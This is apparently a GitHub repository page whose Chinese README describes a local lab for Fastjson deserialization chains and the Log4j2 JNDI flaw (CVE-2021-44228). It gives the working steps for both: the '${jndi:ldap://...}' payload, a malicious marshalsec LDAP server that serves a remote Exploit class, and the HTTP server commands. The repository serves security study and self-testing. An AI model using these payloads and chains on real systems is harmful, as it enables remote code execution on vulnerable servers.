Skip to content

nk7667/java-deserialization-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

java-deserialization-lab

本仓库用于本地调试和学习常见的 Java 反序列化 / JNDI 相关漏洞 PoC。

目前包含两类实验工程:

  • fastjson-vul:Fastjson 反序列化链本地 PoC(JdbcRowSetImpl + JNDI、TemplatesImpl 等)
  • apache-log4j-poc(暂存于本地路径,仅代码示例):Log4j2 JNDI RCE(CVE-2021-44228)本地 PoC

仅供安全学习与自测使用,严禁在未授权环境中利用。

目录结构(当前本地)

  • fastjson-vul/
    Maven 工程,演示多条 Fastjson 利用链(默认 fastjson 1.2.47,可通过 Maven Profile 切换至 1.2.24 等版本)。

    关键 PoC(示例):

    • src/main/java/com/nk7/demo/PocJdbc124.java
      使用 @type":"com.sun.rowset.JdbcRowSetImpl" + JNDI(LDAP/RMI)触发 JdbcRowSetImpl.connect() 中的 InitialContext.lookup,配合 exploit/TouchFile.java 写标记文件。
    • src/main/java/com/nk7/demo/templates/TemplatesPoc124.java
      使用 TemplatesImpl + _bytecodes 链,通过 Javassist 生成恶意字节码并在类初始化中执行。
  • apache-log4j-poc/
    演示 Log4j2 2.14.1 中 ${jndi:ldap://...} 触发的 JNDI RCE:

    • Log4J.javalogger.error("${jndi:ldap://127.0.0.1:7912/test}") 为入口。
    • LDAPRefServer.java:使用 UnboundID 起恶意 LDAP,返回带 javaCodeBase / javaFactory=Exploit 的引用,指向 HTTP 上的 Exploit.class
    • Exploit.java:在 static {} 中调用 Runtime.getRuntime().exec("calc") 作为 RCE 效果演示。

环境要求(建议)

  • JDK 8(推荐与实验中使用的一致,例如 jdk1.8.0_102
  • Maven 3.x
  • Python 3(用于快速起 HTTP 靶服:python -m http.server <port>

使用说明(概览)

1. Fastjson PoC(fastjson-vul

  1. fastjson-vul 根目录编译:

    mvn -q -Pfv-124 compile
  2. 进入 vulhub exploit 目录(示例,实际路径视本地情况而定),起 HTTP / LDAP 服务,提供 TouchFile.class

    • HTTP:python -m http.server 8001
    • LDAP(marshalsec):java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8001/#TouchFile" 1389
  3. 使用 JDK8 运行 PocJdbc124,构造 JSON payload 并触发 Fastjson 反序列化:

    java -cp "target/classes;[依赖CP]" com.nk7.demo.PocJdbc124
  4. 在系统临时目录(例如 Windows 下 %TEMP%)检查 fastjson-jndi-poc.txt 是否生成,以确认 TouchFilestatic {} 是否执行。

2. Log4j2 PoC(apache-log4j-poc

  1. apache-log4j-poc/src/main/java 起 HTTP 服务提供 Exploit.class

    python -m http.server 80
  2. 在 IDEA 或命令行中运行 LDAPRefServer,监听 7912 端口,并将 JNDI 引用指向 http://127.0.0.1:80/#Exploit

  3. 运行 Log4J.main,触发:

    logger.error("${jndi:ldap://127.0.0.1:7912/test}");
  4. 观察本机是否弹出计算器(或其它 Exploit 副作用),以及 LDAP 控制台是否打印:

    Send LDAP reference result for test redirecting to http://127.0.0.1:80/Exploit.class
    

风险提示

  • 务必仅在本地、隔离环境中运行本仓库示例代码。
  • 不要将这些 PoC 部署到生产环境或未授权的网络中。
  • 推送到 GitHub 前,请确认不包含任何真实业务代码、密钥或敏感信息。

About

java反序列化漏洞本地调试代码(fastjson / log4j2 / JNDI 靶场)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages